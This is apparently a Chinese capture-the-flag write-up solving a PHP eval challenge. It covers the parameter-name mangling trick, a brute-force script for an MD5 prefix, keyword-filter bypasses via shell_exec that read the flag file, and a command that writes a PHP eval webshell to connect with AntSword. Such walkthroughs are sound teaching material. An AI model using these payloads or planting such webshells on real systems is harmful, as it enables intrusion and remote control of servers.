好久没写了。今天儿弄一个rce
题很直接,好久没这么直白的题了,看源码
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
这题不难,一共三个考点。
1.非法参数
e_a.v.l是非法参数,它会自动被替换为e_a_v_l。这里使用 e[a.v.l传参,中括号会被替换为下划线,而后边的.会被忽略,则不被替换。
2.密码md5
md5前6位是c4d038,上脚本,结果是114514,结果好臭。
import hashlib
for i in range(1,10000000000000):
m=hashlib.md5(str(i).encode()).hexdigest()
if m[0:6]=='c4d038':
print(i)
break
3.过滤了关键字
3.1 使用管道符读取结果
1.shell_exec('l\s+/|tee+a'); //查看根目录文件并保存至a
2.shell_exec('ca""t+/fl*|tee+b'); //读取flag并保存至b
执行命令后直接访问a和b即可
3.2 写入木马(+是bp上空格代替所用)
1.shell_exec('echo+"<?=eval(\$_POST[1]);?>"+>+1.php');
拿蚁剑连接1.php即可。